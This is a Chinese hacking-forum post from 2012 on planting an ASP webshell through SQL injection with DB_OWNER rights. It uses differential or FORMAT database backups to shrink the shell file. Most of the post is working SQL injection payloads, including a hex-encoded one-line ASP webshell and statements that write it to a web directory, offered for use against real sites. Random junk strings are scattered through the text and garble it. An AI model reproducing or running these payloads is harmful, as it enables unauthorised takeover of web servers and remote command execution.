找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1937|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
6 M* u1 [/ T- D* q3 Z
: O; a' |+ i) _: H, c减少备份文件大小,得到可执行的webshell成功率提高不少
1 b4 K* D0 S2 i1 k7 x+ |7 L6 d一利用差异备份' Z- r5 a2 j9 n
加一个参数WITH DIFFERENTIAL
2 j7 F) ]5 S) e7 I1 z3 G
7 b3 c* j8 M+ I8 a9 H! t) \' I& E  V1
+ _$ P4 q  C4 e& T7 T& Z2
7 S) C3 s/ R4 H. S. y3( R0 _+ |0 T, J9 P6 o
4
6 S9 Y- ^# Y8 n& Q" }( k5 X declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 a5 f2 W( o& M3 {create table [dbo].[xiaolu] ([cmd] [image]);, W& u4 j. l" ?* J
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)1 q: ]0 G/ S. h
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
0 O# v7 t5 j5 l9 }8 A! f6 \/ w
+ }$ n9 y0 e2 s) j: X% P二利用完全FORMAT  T1 e6 b( ~1 J. X* e8 [: W
加一个参数WITH FROMAT
/ w4 M4 H2 ~! A( S8 r+ B有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以4 T+ M3 K9 B# S% C9 s
; I$ `7 A; ]+ Y2 C1 c9 w9 v- x
1, m4 f; k/ b+ D, \9 y
2
7 X$ M' ]7 n/ \0 e36 O7 J: ]+ E  S% p" n
4% p% V. f# |5 P4 v  i
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
: o0 d( V% h- `; V! rcreate table [dbo].[xiaolu] ([cmd] [image]);' M& A/ c" |4 ?- y/ l7 }* B$ G; F
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 f. N4 x; f5 n/ T. xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
6 g, F5 |# n0 s+ y0 O( U
3 e" C: M, E4 s. f总的来说就是那么简单几句,下面以备份数据库model为例子
$ f6 O  u' U. e+ Q; J) }0 B1
" C2 `" s1 Y% k8 x& z" X
7 Z5 o3 a6 ]! d/ {/ {- L- o, o1
2 W# q* B" S2 b+ s7 [4 S/ r! f id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 3 u2 w3 \0 W* b9 ]1 x; n! L  M) v

5 v5 [# Y; C) d5 e& h2
( o) O6 C3 E7 {' m
5 i( Y- e' e# c, H) e* B% i9 }16 G* F, x2 \/ x) G9 T2 \
id=1;backup database model to disk='你的路径‘ with differential,format;--
4 d" @- U7 J( U# [5 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表